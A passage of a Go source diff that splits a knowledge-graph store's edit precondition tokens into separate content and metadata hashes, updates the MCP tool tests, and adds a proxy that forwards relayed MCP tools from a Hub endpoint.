ctx) + created, err := k.Create(ctx, &keg.CreateOptions{Body: []byte("# Original\n"), Meta: []byte("tags:\n - before\n")}) + require.NoError(t, err) + original, err := k.ReadNode(ctx, created.ID) + require.NoError(t, err) + require.NotEmpty(t, original.ContentHash()) + require.NotEmpty(t, original.MetaHash()) + + // Meta-only edit under the meta token: content token unchanged. + metaResults, err := k.UpdateNodes(ctx, []keg.NodeUpdateOptions{{ + ID: created.ID, Meta: []byte("tags: [after]\n"), HasMeta: true, ExpectedMetaHash: original.MetaHash(), + }}) + require.NoError(t, err) + require.Equal(t, original.ContentHash(), metaResults[0].ContentHash) + require.NotEqual(t, original.MetaHash(), metaResults[0].MetaHash) + afterMeta, err := k.ReadNode(ctx, created.ID) + require.NoError(t, err) + require.Equal(t, original.ContentHash(), afterMeta.ContentHash()) + require.Equal(t, metaResults[0].MetaHash, afterMeta.MetaHash(), "result token matches a fresh read") + require.Equal(t, metaResults[0].Hash, afterMeta.Hash()) + require.NotEqual(t, original.Hash(), afterMeta.Hash(), "combined hash still covers meta") + + // Content edit with only the pre-meta-edit content token succeeds. + contentResults, err := k.UpdateNodes(ctx, []keg.NodeUpdateOptions{{ + ID: created.ID, Content: []byte("# Edited\n"), HasContent: true, ExpectedContentHash: original.ContentHash(), + }}) + require.NoError(t, err) + require.Equal(t, afterMeta.MetaHash(), contentResults[0].MetaHash) + require.NotEqual(t, original.ContentHash(), contentResults[0].ContentHash) + + // A stale content token conflicts and carries the current part tokens. + current, err := k.ReadNode(ctx, created.ID) + require.NoError(t, err) + _, err = k.UpdateNodes(ctx, []keg.NodeUpdateOptions{{ + ID: created.ID, Content: []byte("# Stale\n"), HasContent: true, ExpectedContentHash: original.ContentHash(), + }}) + require.ErrorIs(t, err, keg.ErrConflict) + var conflict *keg.PreconditionConflictError + require.True(t, errors.As(err, &conflict)) + require.Equal(t, current.Hash(), conflict.CurrentHash) + require.Equal(t, current.ContentHash(), conflict.CurrentContentHash) + require.Equal(t, current.MetaHash(), conflict.CurrentMetaHash) + + // A supplied part without its token is refused, even when the other + // part's token is present and the combined hash is current. + _, err = k.UpdateNodes(ctx, []keg.NodeUpdateOptions{{ + ID: created.ID, Content: []byte("# Both\n"), HasContent: true, Meta: []byte("tags: [both]\n"), HasMeta: true, + ExpectedContentHash: current.ContentHash(), ExpectedHash: current.Hash(), + }}) + require.ErrorIs(t, err, keg.ErrPreconditionRequired) + + // The combined token still guards writes that use it (CLI path). + combined, err := k.UpdateNodes(ctx, []keg.NodeUpdateOptions{{ + ID: created.ID, Content: []byte("# Combined\n"), HasContent: true, ExpectedHash: current.Hash(), + }}) + require.NoError(t, err) + require.NotEmpty(t, combined[0].ContentHash) + _, err = k.UpdateNodes(ctx, []keg.NodeUpdateOptions{{ + ID: created.ID, Content: []byte("# Combined stale\n"), HasContent: true, ExpectedHash: current.Hash(), + }}) + require.ErrorIs(t, err, keg.ErrConflict) + require.True(t, errors.As(err, &conflict)) + latest, err := k.ReadNode(ctx, created.ID) + require.NoError(t, err) + require.Equal(t, latest.ContentHash(), conflict.CurrentContentHash, "combined conflicts also report part tokens") + require.Equal(t, "# Combined\n", string(latest.Content)) +} + +func TestLocalKegMetaOnlyReadOmitsContentHash(t *testing.T) { + t.Parallel() + fx := NewSandbox(t) + ctx := fx.Context() + k := keg.NewLocalKeg(newTestMemoryRepo(fx.Runtime()), fx.Runtime()) + initNonStrictTestKeg(t, k, ctx) + created, err := k.Create(ctx, &keg.CreateOptions{Body: []byte("# Meta only\n"), Meta: []byte("tags: [x]\n")}) + require.NoError(t, err) + full, err := k.ReadNode(ctx, created.ID) + require.NoError(t, err) + views, err := k.ReadNodes(ctx, keg.ReadNodesOptions{NodeIDs: []keg.NodeId{created.ID}, MetaOnly: true}) + require.NoError(t, err) + require.Len(t, views, 1) + require.Empty(t, views[0].ContentHash()) + require.Equal(t, full.MetaHash(), views[0].MetaHash()) +} diff --git a/pkg/keg/remote_precondition_test.go b/pkg/keg/remote_precondition_test.go index b5290de..e1e0734 100644 --- a/pkg/keg/remote_precondition_test.go +++ b/pkg/keg/remote_precondition_test.go @@ -2,6 +2,7 @@ package keg_test import ( "context" + "encoding/json" "errors" "net/http" @@ -64,3 +65,32 @@ func TestRemoteKegDecodesPreconditionErrorsWithRecoveryFields(t *testing.T) { require.Equal(t, "type: task\n", string(conflict.CurrentContent)) }) } + +func TestRemoteKegUpdateNodesSendsPartTokensAndDecodesPartConflicts(t *testing.T) { + t.Parallel() + var body map[string]any + srv := testapi.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + require.NoError(t, json.NewDecoder(r.Body).Decode(&body)) + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusPreconditionFailed) + _, _ = w.Write([]byte(`{"error":"stale","code":"CONFLICT","operationPerformed":false,"currentHash":"fresh","currentContentHash":"c2","currentMetaHash":"m2","currentContent":"# Now\n"}`)) + })) + t.Cleanup(srv.Close) + rk := keg.NewRemoteKeg(srv.URL, "", nil) + _, err := rk.UpdateNodes(context.Background(), []keg.NodeUpdateOptions{{ + ID: keg.NodeId{ID: 3}, Content: []byte("# New\n"), HasContent: true, ExpectedContentHash: "c1", + }}) + require.ErrorIs(t, err, keg.ErrConflict) + var conflict *keg.PreconditionConflictError + require.True(t, errors.As(err, &conflict)) + require.Equal(t, "fresh", conflict.CurrentHash) + require.Equal(t, "c2", conflict.CurrentContentHash) + require.Equal(t, "m2", conflict.CurrentMetaHash) + + updates := body["updates"].([]any) + require.Len(t, updates, 1) + update := updates[0].(map[string]any) + require.Equal(t, "c1", update["expected_content_hash"]) + require.NotContains(t, update, "expected_meta_hash") + require.NotContains(t, update, "expected_hash") +} diff --git a/pkg/mcp/precondition_read_test.go b/pkg/mcp/precondition_read_test.go index 9a348fa..d1cbdda 100644 --- a/pkg/mcp/precondition_read_test.go +++ b/pkg/mcp/precondition_read_test.go @@ -3,6 +3,7 @@ package mcp_test import ( "context" "encoding/json" + "strings" "testing" sdkmcp "github.com/modelcontextprotocol/go-sdk/mcp" @@ -22,6 +23,39 @@ func readNodeHash(t *testing.T, session *sdkmcp.ClientSession, ctx context.Conte return rows[0].Hash } +// readNodePartHashes returns the per-part tokens node_edit takes. +func readNodePartHashes(t *testing.T, session *sdkmcp.ClientSession, ctx context.Context, nodeID string) (contentHash, metaHash string) { + t.Helper() + rows := catRows(t, session, ctx, map[string]any{"node_ids": []string{nodeID}}) + require.Len(t, rows, 1) + require.NotEmpty(t, rows[0].ContentHash, "node_read must return content_hash") + require.NotEmpty(t, rows[0].MetaHash, "node_read must return meta_hash") + return rows[0].ContentHash, rows[0].MetaHash +} + +// nodeReadText joins the documents of a node_read result's structured rows. +// node_read's text message is only a summary, so tests that check what a read +// returned look here. +func nodeReadText(t *testing.T, res *sdkmcp.CallToolResult) string { + t.Helper() + require.NotNil(t, res.StructuredContent, "node_read returned no structured content") + raw, err := json.Marshal(res.StructuredContent) + require.NoError(t, err) + var out struct { + Nodes []catRow `json:"nodes"` + } + require.NoError(t, json.Unmarshal(raw, &out)) + var parts []string + for _, row := range out.Nodes { + for _, part := range []string{row.Meta, row.Content, row.Stats} { + if part != "" { + parts = append(parts, part) + } + } + } + return strings.Join(parts, "\n") +} + func readSettingsHash(t *testing.T, session *sdkmcp.ClientSession, ctx context.Context, kegRef string) string { t.Helper() args := map[string]any{"minimal": false} @@ -36,21 +70,13 @@ func readSettingsHash(t *testing.T, session *sdkmcp.ClientSession, ctx context.C // structuredNodeRows decodes the per-node rows a read tool returns alongside // its rendered text. -func structuredNodeRows(t *testing.T, res *sdkmcp.CallToolResult) []struct { - NodeID string `json:"node_id"` - Hash string `json:"hash"` - Content string `json:"content"` -} { +func structuredNodeRows(t *testing.T, res *sdkmcp.CallToolResult) []catRow { t.Helper() require.NotNil(t, res.StructuredContent, "read tool returned no structured content") raw, err := json.Marshal(res.StructuredContent) require.NoError(t, err) var payload struct { - Nodes []struct { - NodeID string `json:"node_id"` - Hash string `json:"hash"` - Content string `json:"content"` - } `json:"nodes"` + Nodes []catRow `json:"nodes"` } require.NoError(t, json.Unmarshal(raw, &payload)) return payload.Nodes @@ -106,19 +132,35 @@ func TestPrecondition_CatHashRoundTripsThroughEdit(t *testing.T) { }) require.NoError(t, err) require.True(t, missing.IsError) - require.Contains(t, extractText(t, missing), "expected_hash") - require.Equal(t, false, structuredMap(t, missing)["operationPerformed"], "schema rejection must happen before the mutation handler") + require.Contains(t, extractText(t, missing), "expected_content_hash") + require.Equal(t, "PRECONDITION_REQUIRED", structuredMap(t, missing)["code"]) + require.Equal(t, false, structuredMap(t, missing)["operationPerformed"], "a missing part token must be rejected before the mutation") - // The token a read handed out is accepted by the matching write. - editRes, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ + // The combined hash is not a part token: node_edit does not accept it. + legacy, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ Name: "node_edit", Arguments: batchEditArgs(map[string]any{ "node_id": nodeID, - "content": "# Precondition Subject\n\nFirst writer wins.\n", + "content": "# Legacy token must fail\n", "expected_hash": original, }), }) require.NoError(t, err) + require.True(t, legacy.IsError, "node_edit must reject expected_hash") + + originalContentHash := rows[0].ContentHash + require.NotEmpty(t, originalContentHash) + + // The token a read handed out is accepted by the matching write. + editRes, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ + Name: "node_edit", + Arguments: batchEditArgs(map[string]any{ + "node_id": nodeID, + "content": "# Precondition Subject\n\nFirst writer wins.\n", + "expected_content_hash": originalContentHash, + }), + }) + require.NoError(t, err) require.False(t, editRes.IsError, "edit with a fresh hash must succeed: %s", extractText(t, editRes)) // The write moved the node, so the old token is now stale. @@ -130,15 +172,17 @@ func TestPrecondition_CatHashRoundTripsThroughEdit(t *testing.T) { updated := structuredNodeRows(t, reread)[0].Hash require.NotEmpty(t, updated) require.NotEqual(t, original, updated, "a write must change the node's token") + updatedContentHash, updatedMetaHash := readNodePartHashes(t, session, ctx, nodeID) + require.NotEqual(t, originalContentHash, updatedContentHash) // A second agent still holding the pre-write token is refused rather than // silently clobbering the first writer's change. stale, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ Name: "node_edit", Arguments: batchEditArgs(map[string]any{ - "node_id": nodeID, - "content": "# Precondition Subject\n\nSecond writer clobbers.\n", - "expected_hash": original, + "node_id": nodeID, + "content": "# Precondition Subject\n\nSecond writer clobbers.\n", + "expected_content_hash": originalContentHash, }), }) require.NoError(t, err) @@ -147,6 +191,8 @@ func TestPrecondition_CatHashRoundTripsThroughEdit(t *testing.T) { require.Equal(t, "CONFLICT", staleStructured["code"]) require.Equal(t, false, staleStructured["operationPerformed"]) require.Equal(t, updated, staleStructured["currentHash"]) + require.Equal(t, updatedContentHash, staleStructured["currentContentHash"]) + require.Equal(t, updatedMetaHash, staleStructured["currentMetaHash"]) require.Contains(t, staleStructured["currentContent"], "First writer wins.") require.NotEmpty(t, staleStructured["action"]) @@ -156,7 +202,7 @@ func TestPrecondition_CatHashRoundTripsThroughEdit(t *testing.T) { Arguments: map[string]any{"node_ids": []string{nodeID}, "content_only": true}, }) require.NoError(t, err) - require.Contains(t, extractText(t, final), "First writer wins.") + require.Contains(t, nodeReadText(t, final), "First writer wins.") } func TestPrecondition_RemoveBatchUsesDistinctTokensAtomically(t *testing.T) { @@ -192,12 +238,13 @@ func TestPrecondition_RemoveBatchUsesDistinctTokensAtomically(t *testing.T) { require.NotEmpty(t, readNodeHash(t, session, ctx, one)) require.NotEmpty(t, readNodeHash(t, session, ctx, two)) + twoContentHash, _ := readNodePartHashes(t, session, ctx, two) edit, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ Name: "node_edit", Arguments: batchEditArgs(map[string]any{ - "node_id": two, - "content": "# Remove batch two\n\nchanged after the removal read\n", - "expected_hash": twoHash, + "node_id": two, + "content": "# Remove batch two\n\nchanged after the removal read\n", + "expected_content_hash": twoContentHash, }), }) require.NoError(t, err) @@ -311,12 +358,16 @@ func TestCat_StructuredRowsAreSelfContained(t *testing.T) { require.Len(t, metaRows, 1) require.Contains(t, metaRows[0].Meta, "alpha") require.Empty(t, metaRows[0].Content, "meta_only must not return content") + require.NotEmpty(t, metaRows[0].MetaHash, "meta_only must return meta_hash") + require.Empty(t, metaRows[0].ContentHash, "meta_only read no content, so it has no content_hash") // content_only: the inverse. contentRows := catRows(t, session, ctx, map[string]any{"node_ids": []string{first}, "content_only": true}) require.Len(t, contentRows, 1) require.Contains(t, contentRows[0].Content, "# Alpha") require.Empty(t, contentRows[0].Meta, "content_only must not return meta") + require.NotEmpty(t, contentRows[0].ContentHash, "content_only must return content_hash") + require.Empty(t, contentRows[0].MetaHash, "content_only returned no meta, so it has no meta_hash") // stats_only is explicit too. statsRows := catRows(t, session, ctx, map[string]any{"node_ids": []string{first}, "stats_only": true}) @@ -327,9 +378,9 @@ func TestCat_StructuredRowsAreSelfContained(t *testing.T) { editRes, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ Name: "node_edit", Arguments: batchEditArgs(map[string]any{ - "node_id": metaRows[0].NodeID, - "meta": metaRows[0].Meta, - "expected_hash": metaRows[0].Hash, + "node_id": metaRows[0].NodeID, + "meta": metaRows[0].Meta, + "expected_meta_hash": metaRows[0].MetaHash, }), }) require.NoError(t, err) @@ -337,11 +388,13 @@ func TestCat_StructuredRowsAreSelfContained(t *testing.T) { } type catRow struct { - NodeID string `json:"node_id"` - Hash string `json:"hash"` - Content string `json:"content"` - Meta string `json:"meta"` - Stats string `json:"stats"` + NodeID string `json:"node_id"` + Hash string `json:"hash"` + ContentHash string `json:"content_hash"` + MetaHash string `json:"meta_hash"` + Content string `json:"content"` + Meta string `json:"meta"` + Stats string `json:"stats"` } func catRows(t *testing.T, session *sdkmcp.ClientSession, ctx context.Context, args map[string]any) []catRow { @@ -368,3 +421,195 @@ func createNodeForTest(t *testing.T, session *sdkmcp.ClientSession, ctx context. require.False(t, res.IsError, "create returned error: %s", extractText(t, res)) return extractText(t, res) } + +// TestPrecondition_NodeEditPartHashesAreIndependent pins the split tokens: a +// metadata edit leaves content_hash alone, so a content edit holding the +// pre-meta-edit content_hash still applies, and vice versa. +func TestPrecondition_NodeEditPartHashesAreIndependent(t *testing.T) { + t.Parallel() + session, ctx := newTestSession(t) + + nodeID := createNodeForTest(t, session, ctx, "# Split\n\nOriginal body.\n", "tags:\n - original\n") + before := catRows(t, session, ctx, map[string]any{"node_ids": []string{nodeID}})[0] + require.NotEmpty(t, before.ContentHash) + require.NotEmpty(t, before.MetaHash) + require.NotEmpty(t, before.Hash) + + // A meta-only edit changes meta_hash and the combined hash, not content_hash. + metaEdit, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ + Name: "node_edit", + Arguments: batchEditArgs(map[string]any{ + "node_id": nodeID, + "meta": "tags:\n - concurrent\n", + "expected_meta_hash": before.MetaHash, + }), + }) + require.NoError(t, err) + require.False(t, metaEdit.IsError, "meta edit failed: %s", extractText(t, metaEdit)) + metaResult := editResultRow(t, metaEdit) + require.Equal(t, before.ContentHash, metaResult["content_hash"], "a meta edit must not change content_hash") + require.NotEqual(t, before.MetaHash, metaResult["meta_hash"]) + + afterMeta := catRows(t, session, ctx, map[string]any{"node_ids": []string{nodeID}})[0] + require.Equal(t, before.ContentHash, afterMeta.ContentHash, "a meta edit must not change content_hash") + require.NotEqual(t, before.MetaHash, afterMeta.MetaHash) + require.NotEqual(t, before.Hash, afterMeta.Hash, "the combined hash still covers both parts") + require.Equal(t, afterMeta.MetaHash, metaResult["meta_hash"], "edit results return the same token a read would") + + // A content edit holding only the pre-meta-edit content_hash still applies. + contentEdit, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ + Name: "node_edit", + Arguments: batchEditArgs(map[string]any{ + "node_id": nodeID, + "content": "# Split\n\nEdited body.\n", + "expected_content_hash": before.ContentHash, + }), + }) + require.NoError(t, err) + require.False(t, contentEdit.IsError, "content edit after a concurrent meta edit failed: %s", extractText(t, contentEdit)) + contentResult := editResultRow(t, contentEdit) + require.Equal(t, afterMeta.MetaHash, contentResult["meta_hash"], "a content edit must not change meta_hash") + + // The returned content_hash chains into a follow-up edit with no re-read. + followUp, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ + Name: "node_edit", + Arguments: batchEditArgs(map[string]any{ + "node_id": nodeID, + "content": "# Split\n\nSecond edit.\n", + "expected_content_hash": contentResult["content_hash"], + }), + }) + require.NoError(t, err) + require.False(t, followUp.IsError, "follow-up edit with returned content_hash failed: %s", extractText(t, followUp)) + + final := catRows(t, session, ctx, map[string]any{"node_ids": []string{nodeID}})[0] + require.Contains(t, final.Content, "Second edit.") + require.Contains(t, final.Meta, "concurrent") +} + +func TestPrecondition_NodeEditRequiresMatchingPartHashes(t *testing.T) { + t.Parallel() + session, ctx := newTestSession(t) + + nodeID := createNodeForTest(t, session, ctx, "# Guarded\n\nBody.\n", "tags:\n - guarded\n") + contentHash, metaHash := readNodePartHashes(t, session, ctx, nodeID) + + // Meta supplied with only the content token: the meta part is unguarded. + missingMeta, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ + Name: "node_edit", + Arguments: batchEditArgs(map[string]any{ + "node_id": nodeID, + "content": "# Guarded\n\nNew body.\n", + "meta": "tags:\n - changed\n", + "expected_content_hash": contentHash, + }), + }) + require.NoError(t, err) + require.True(t, missingMeta.IsError) + require.Equal(t, "PRECONDITION_REQUIRED", structuredMap(t, missingMeta)["code"]) + require.Contains(t, extractText(t, missingMeta), "expected_meta_hash") + + // Meta supplied with no token at all. + noToken, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ + Name: "node_edit", + Arguments: batchEditArgs(map[string]any{"node_id": nodeID, "meta": "tags:\n - changed\n"}), + }) + require.NoError(t, err) + require.True(t, noToken.IsError) + require.Equal(t, "PRECONDITION_REQUIRED", structuredMap(t, noToken)["code"]) + + // Both refused writes left the node untouched. + unchangedContent, unchangedMeta := readNodePartHashes(t, session, ctx, nodeID) + require.Equal(t, contentHash, unchangedContent) + require.Equal(t, metaHash, unchangedMeta) + + // Move the meta part on, then retry with the stale meta token. + moved, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ + Name: "node_edit", + Arguments: batchEditArgs(map[string]any{ + "node_id": nodeID, + "meta": "tags:\n - first\n", + "expected_meta_hash": metaHash, + }), + }) + require.NoError(t, err) + require.False(t, moved.IsError, extractText(t, moved)) + currentContent, currentMeta := readNodePartHashes(t, session, ctx, nodeID) + + stale, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ + Name: "node_edit", + Arguments: batchEditArgs(map[string]any{ + "node_id": nodeID, + "meta": "tags:\n - second\n", + "expected_meta_hash": metaHash, + }), + }) + require.NoError(t, err) + require.True(t, stale.IsError) + conflict := structuredMap(t, stale) + require.Equal(t, "CONFLICT", conflict["code"]) + require.Equal(t, false, conflict["operationPerformed"]) + require.Equal(t, currentContent, conflict["currentContentHash"]) + require.Equal(t, currentMeta, conflict["currentMetaHash"]) + require.NotEmpty(t, conflict["currentHash"]) + require.Contains(t, conflict["currentContent"], "first") +} + +// TestCat_TextIsSummaryWhenRowsCarryDocuments pins that node_read sends each +// document once: in nodes[], not again in the text message. +func TestCat_TextIsSummaryWhenRowsCarryDocuments(t *testing.T) { + t.Parallel() + session, ctx := newTestSession(t) + + first := createNodeForTest(t, session, ctx, "# Once Alpha\n\nDistinctive alpha body.\n", "tags:\n - onlyonce\n") + second := createNodeForTest(t, session, ctx, "# Once Beta\n\nDistinctive beta body.\n", "") + res, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ + Name: "node_read", + Arguments: map[string]any{"node_ids": []string{first, second}}, + }) + require.NoError(t, err) + require.False(t, res.IsError, extractText(t, res)) + + message := extractText(t, res) + require.Equal(t, "Read 2 nodes; each document is in nodes[]", message) + var raw strings.Builder + for _, c := range res.Content { + if tc, ok := c.(*sdkmcp.TextContent); ok { + raw.WriteString(tc.Text) + } + } + require.Equal(t, 1, strings.Count(raw.String(), "Distinctive alpha body."), "the body must be sent exactly once") + require.Equal(t, 1, strings.Count(raw.String(), "onlyonce"), "the meta must be sent exactly once") + require.Contains(t, nodeReadText(t, res), "Distinctive beta body.") + + settings, err := session.CallTool(ctx, &sdkmcp.CallToolParams{ + Name: "keg_settings_read", + Arguments: map[string]any{"minimal": false}, + }) + require.NoError(t, err) + require.False(t, settings.IsError) + require.Equal(t, "Settings are in data.", extractText(t, settings)) + require.Contains(t, structuredMap(t, settings)["data"], "kegv:") +} + +func editResultRow(t *testing.T, res *sdkmcp.CallToolResult) map[string]any { + t.Helper() + results, ok := structuredMap(t, res)["results"].([]any) + require.True(t, ok, "node_edit returned no results") + require.Len(t, results, 1) + row, ok := results[0].(map[string]any) + require.True(t, ok) + return row +} + +func readContentHash(t *testing.T, session *sdkmcp.ClientSession, ctx context.Context, nodeID string) string { + t.Helper() + contentHash, _ := readNodePartHashes(t, session, ctx, nodeID) + return contentHash +} + +func readMetaHash(t *testing.T, session *sdkmcp.ClientSession, ctx context.Context, nodeID string) string { + t.Helper() + _, metaHash := readNodePartHashes(t, session, ctx, nodeID) + return metaHash +} diff --git a/pkg/mcp/precondition_schema_test.go b/pkg/mcp/precondition_schema_test.go index e66364f..620d813 100644 --- a/pkg/mcp/precondition_schema_test.go +++ b/pkg/mcp/precondition_schema_test.go @@ -84,13 +84,21 @@ func TestMCP_MutationSchemasRequireExpectedHashesAtResourceLocation(t *testing.T requireSchemaField(t, schema, "expected_hash", true) } - for tool, array := range map[string]string{ - "node_edit": "nodes", "node_delete": "nodes", - } { - root, ok := schemas[tool] - require.True(t, ok, "missing tool %q", tool) - requireSchemaField(t, schemaArrayItem(t, root, array), "expected_hash", true) - } + deleteItem := schemaArrayItem(t, schemas["node_delete"], "nodes") + requireSchemaField(t, deleteItem, "expected_hash", true) + + // node_edit guards each part with its own token. Which token is required + // depends on which part is supplied, so neither is schema-required; the + // handler rejects a supplied part without its token. The combined + // expected_hash is gone from node_edit entirely. + editItem := schemaArrayItem(t, schemas["node_edit"], "nodes") + editProps, ok := editItem["properties"].(map[string]any) + require.True(t, ok) + require.NotContains(t, editProps, "expected_hash") + require.Contains(t, editProps, "expected_content_hash") + require.Contains(t, editProps, "expected_meta_hash") + requireSchemaField(t, editItem, "expected_content_hash", false) + requireSchemaField(t, editItem, "expected_meta_hash", false) // create allocates ids, so there is no prior revision to guard and no // expected_hash anywhere in its schema. @@ -174,6 +182,10 @@ func TestMCP_WriteToolsStateTheContentContract(t *testing.T) { require.Containsf(t, desc, "frontmatter", "%q does not say content must not begin with a frontmatter block", name) } - require.Contains(t, byName["node_edit"], "content and metadata together", - "edit does not state that one hash covers both halves of a node") + for _, want := range []string{"expected_content_hash", "expected_meta_hash", "never invalidates"} { + require.Containsf(t, byName["node_edit"], want, + "edit does not state that each part of a node has its own hash (%q)", want) + } + require.Contains(t, byName["node_read"], "content_hash") + require.Contains(t, byName["node_read"], "meta_hash") } diff --git a/pkg/mcp/public_response.go b/pkg/mcp/public_response.go index 4f46506..39b6544 100644 --- a/pkg/mcp/public_response.go +++ b/pkg/mcp/public_response.go @@ -20,6 +20,10 @@ func publicResponseMiddleware(next sdkmcp.MethodHandler) sdkmcp.MethodHandler { if err != nil || method != "tools/call" { return result, err } + // A relayed tool's result is its own server's, passed through as sent. + if params, _ := req.GetParams().(*sdkmcp.CallToolParamsRaw); params != nil && IsRelayedToolName(params.Name) { + return result, nil + } call, ok := result.(*sdkmcp.CallToolResult) if !ok || call == nil { return result, nil diff --git a/pkg/mcp/public_response_test.go b/pkg/mcp/public_response_test.go index 86887dd..f1c6204 100644 --- a/pkg/mcp/public_response_test.go +++ b/pkg/mcp/public_response_test.go @@ -57,19 +57,26 @@ func TestPublicContractIndependentNodeWorkflow(t *testing.T) { } before := read() invalid := call("node_edit", map[string]any{"nodes": []any{map[string]any{"node_id": id, "content": "# Invalid"}}}, true) - require.Contains(t, invalid["message"], "expected_hash") + require.Contains(t, invalid["message"], "expected_content_hash") + require.Equal(t, "PRECONDITION_REQUIRED", invalid["code"]) require.NotEmpty(t, invalid["action"]) require.Equal(t, false, invalid["operationPerformed"]) - args := map[string]any{"nodes": []any{map[string]any{"node_id": id, "expected_hash": before["hash"], "content": "# Wire subject\n\nAfter."}}} + args := map[string]any{"nodes": []any{map[string]any{"node_id": id, "expected_content_hash": before["content_hash"], "content": "# Wire subject\n\nAfter."}}} edited := call("node_edit", args, false) after := read() require.Contains(t, after["content"], "After.") require.Equal(t, before["meta"], after["meta"]) - require.Equal(t, after["hash"], edited["results"].([]any)[0].(map[string]any)["hash"]) + require.Equal(t, before["meta_hash"], after["meta_hash"]) + editedRow := edited["results"].([]any)[0].(map[string]any) + require.Equal(t, after["hash"], editedRow["hash"]) + require.Equal(t, after["content_hash"], editedRow["content_hash"]) + require.Equal(t, after["meta_hash"], editedRow["meta_hash"]) conflict := call("node_edit", args, true) require.Equal(t, "CONFLICT", conflict["code"]) require.Equal(t, false, conflict["operationPerformed"]) require.Equal(t, after["hash"], conflict["currentHash"]) + require.Equal(t, after["content_hash"], conflict["currentContentHash"]) + require.Equal(t, after["meta_hash"], conflict["currentMetaHash"]) require.NotEmpty(t, conflict["action"]) require.Equal(t, after["content"], read()["content"]) selected := call("node_read", map[string]any{"query": "wire-contract", "meta_only": true}, false) diff --git a/pkg/mcp/relay_proxy.go b/pkg/mcp/relay_proxy.go new file mode 100644 index 0000000..d285d03 --- /dev/null +++ b/pkg/mcp/relay_proxy.go @@ -0,0 +1,267 @@ +package mcp + +import ( + "context" + "encoding/json" + "log/slog" + "net/http" + "strings" + "sync" + "time" + + sdkmcp "github.com/modelcontextprotocol/go-sdk/mcp" +) + +// Relayed tools are MCP tools that a `tap relay` somewhere forwards to Hub +// from a server on its machine. Hub serves them on /mcp/relay; `tap mcp` +// proxies that endpoint so a harness such as Claude Code sees them beside the +// KEG tools. Hub decides which ones the caller may reach (their own relays, +// servers shared with them, and an agent's gate when one is named); this side +// only lists and forwards. + +// IsRelayedToolName reports whether name has the shape Hub gives relayed +// tools: mcp______. No hosted KEG tool has it. +func IsRelayedToolName(name string) bool { + return strings.HasPrefix(name, "mcp__") && strings.Count(name, "__") >= 3 +} + +// DefaultRelayRefresh is how often the relayed tool list is re-read when Hub +// announces no change: relays connect and drop without telling this process. +const DefaultRelayRefresh = 60 * time.Second + +// RelayProxyOptions configures StartRelayProxy. +type RelayProxyOptions struct { + // Endpoint is Hub's /mcp/relay URL, with ?agent= when the session runs as + // an agent. + Endpoint string + // Token returns the current Hub bearer token; it is read on every request + // so a refreshed login is picked up. + Token func() string + // Refresh overrides DefaultRelayRefresh. + Refresh time.Duration + // HTTPClient overrides the client used to reach Hub. + HTTPClient *http.Client + Logger *slog.Logger + // Version is reported to Hub as the client version. + Version string +} + +type relayProxy struct { + srv *sdkmcp.Server + opts RelayProxyOptions + kick chan struct{} + + mu sync.Mutex + session *sdkmcp.ClientSession + tools map[string]string // name -> serialized tool, to spot changes +} + +// StartRelayProxy keeps srv's relayed tools in step with Hub's /mcp/relay +// until ctx ends or the returned stop is called. It never blocks or fails the +// server: while Hub is unreachable the server simply has no relayed tools. +func StartRelayProxy(ctx context.Context, srv *sdkmcp.Server, opts RelayProxyOptions) (stop func()) { + if opts.Refresh <= 0 { + opts.Refresh = DefaultRelayRefresh + } + if opts.Logger == nil { + opts.Logger = slog.New(slog.DiscardHandler) + } + p := &relayProxy{srv: srv, opts: opts, kick: make(chan struct{}, 1), tools: map[string]string{}} + ctx, cancel := context.WithCancel(ctx) + done := make(chan struct{}) + go func() { + defer close(done) + p.loop(ctx) + }() + return func() { + cancel() + <-done + } +} + +func (p *relayProxy) loop(ctx context.Context) { + ticker := time.NewTicker(p.opts.Refresh) + defer ticker.Stop() + defer p.closeSession() + for { + p.refresh(ctx) + select { + case <-ctx.Done(): + return + case <-ticker.C: + case <-p.kick: + } + } +} + +// refresh re-reads Hub's list and registers, replaces, or removes tools to +// match. Any failure drops the session and every relayed tool: a tool that +// cannot reach Hub cannot run. +func (p *relayProxy) refresh(ctx context.Context) { + session, err := p.ensureSession(ctx) + if err == nil { + var listed []*sdkmcp.Tool + listed, err = listAllTools(ctx, session) + if err == nil { + p.apply(listed) + return + } + } + if ctx.Err() == nil { + p.opts.Logger.Debug("relayed tools unavailable", "endpoint", p.opts.Endpoint, "error", err) + } + p.closeSession() + p.apply(nil) +} + +func (p *relayProxy) ensureSession(ctx context.Context) (*sdkmcp.ClientSession, error) { + p.mu.Lock() + defer p.mu.Unlock() + if p.session != nil { + return p.session, nil + } + client := sdkmcp.NewClient(&sdkmcp.Implementation{Name: "tap-mcp", Version: p.opts.Version}, &sdkmcp.ClientOptions{ + ToolListChangedHandler: func(context.Context, *sdkmcp.ToolListChangedRequest) { + select { + case p.kick <- struct{}{}: + default: + } + }, + }) + base := p.opts.HTTPClient + if base == nil { + base = &http.Client{} + } + httpClient := *base + httpClient.Transport = bearerTransport{base: base.Transport, token: p.opts.Token} + session, err := client.Connect(ctx, &sdkmcp.StreamableClientTransport{Endpoint: p.opts.Endpoint, HTTPClient: &httpClient}, nil) + if err != nil { + return nil, err + } + p.session = session + return session, nil +} + +func (p *relayProxy) closeSession() { + p.mu.Lock() + session := p.session + p.session = nil + p.mu.Unlock() + if session != nil { + _ = session.Close() + } +} + +func (p *relayProxy) current() *sdkmcp.ClientSession { + p.mu.Lock() + defer p.mu.Unlock() + return p.session +} + +func listAllTools(ctx context.Context, session *sdkmcp.ClientSession) ([]*sdkmcp.Tool, error) { + var out []*sdkmcp.Tool + params := &sdkmcp.ListToolsParams{} + for { + page, err := session.ListTools(ctx, params) + if err != nil { + return nil, err + } + out = append(out, page.Tools...) + if page.NextCursor == "" { + return out, nil + 